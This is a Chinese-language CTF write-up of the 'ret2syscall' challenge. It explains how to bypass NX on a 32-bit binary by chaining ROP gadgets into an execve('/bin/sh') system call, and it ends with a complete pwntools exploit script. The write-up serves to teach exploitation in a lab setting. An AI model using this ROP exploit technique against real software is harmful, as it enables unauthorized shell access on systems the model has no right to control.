原理
ret2syscall,即控制程序执行系统调用,获取 shell
0x1
拿道题后检测程序开启的保护
checksec ./ret2syscall
➜ ret2syscall checksec ret2syscall
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出,程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码
0x2
看到伪代码写了没有system和shellcode,可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得shell,而对应的 shell 获取则是利用系统调用。关于系统调用的知识请看这个链接,简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell。但是开启了NX所以我们要调用系统指令组成ROP,这里我们可以用
execve("/bin/sh",0,0)
首先我们得知道如何调用寄存器可以构造出sys_execve,其次知道如何才能让其执行。
如何使用构建
1.系统调用号,即 eax 应该为 0xb(sys_execve)
2.第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以
3.第二个参数,即 ecx 应该为 0
4.第三个参数,即 edx 应该为 0
利用ROPgadget的工具查找eax ebx ecx edx的地址,查找/bin/sh和int 0x80的地址
ROPgadget --binary rop --only 'pop|ret' | grep 'eax
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ret2syscall --string "/bin/sh"
ROPgadget --binary ret2syscall --only 'int'
0x3
1.eax
2.然后我们在寻找ebx
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
3.寻找/bin/sh
0x080be408 : /bin/sh
4.寻找int
0x08049421 : int 0x80
0x4 exp如下
from pwn import*
p = process("./ret2syscall")
#r = remote('ip',port)
binsh_addr = 0x080be408
int_addr = 0x08049421
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
#execve("/bin/sh",NULL,NULL)
payload = 'a'*112
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) +p32(0) + p32(0) +p32(binsh_addr)
payload += p32(int_addr)
p.sendline(payload)
p.interactive()
扩展和心得体会
上述分析这种情况其实是最简单得syscall,还有一些情况复杂的比如:直接搜不出“/bin/sh”字符串的。但是其实如果真的掌握精髓的话,其实是可以拼接出“/bin/sh”字符串的,有的题目中,有“/”,有“bin”,有“sh”,但是我拼接过程中不知道该如何截断一个字符串。既然是系统调用,那么我们不如调用一个read函数,来自己输入“/bin/sh”吧。如果感兴趣可以看下面我推荐的那位师傅的wp
推荐师傅wp:
此篇文章如果存在问题,还望大佬批评指正